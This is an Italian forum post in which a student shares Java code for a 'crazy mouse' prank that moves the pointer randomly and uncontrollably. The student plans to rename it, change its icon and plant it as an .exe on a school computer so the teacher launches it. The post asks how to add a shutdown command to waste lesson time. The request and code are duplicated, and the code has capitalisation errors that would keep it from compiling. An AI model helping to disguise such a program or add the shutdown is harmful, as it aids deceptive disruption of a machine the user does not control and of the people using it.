Ciao a tutti ho scritto in java il programma del crazy mouse(quando lo si avvia il puntatore del mouse si muove in continuazione per lo schermo senza controllo) e dopo averlo convertito in .exe vorrei copiarlo nel computer della scuola magari cambiando icona e nome così quando la prof lo avvia va in casino il computer
Il mio problema è che vorrei inserire nel codice un comando come shutdown che, al termine di un ciclo For spegne il computer(così perdiamo un po più tempo di lezione) qualcuno può dirmi come fare?
Grazie in anticipo
P.S. ecco il codice del programma:
Import java.awt. AWTException;
Import java.awt. Robot;
Import java.util.Random;
Public class Mouse
{
public static void main (String [] args) throws AWTException {
Robot mouse = new Robot ();
Random random = new Random ();
int n,m;
For (int i = 0; i <10000000;i++){
n=random.nextInt(1280);
m=random.nextInt (800);
mouse.mouseMove (n,m);
}
}
}
Il mio problema è che vorrei inserire nel codice un comando come shutdown che, al termine di un ciclo For spegne il computer(così perdiamo un po più tempo di lezione) qualcuno può dirmi come fare?
Grazie in anticipo
P.S. ecco il codice del programma:
Import java.awt. AWTException;
Import java.awt. Robot;
Import java.util.Random;
Public class Mouse
{
public static void main (String [] args) throws AWTException {
Robot mouse = new Robot ();
Random random = new Random ();
int n,m;
For (int i = 0; i <10000000;i++){
n=random.nextInt(1280);
m=random.nextInt (800);
mouse.mouseMove (n,m);
}
}
}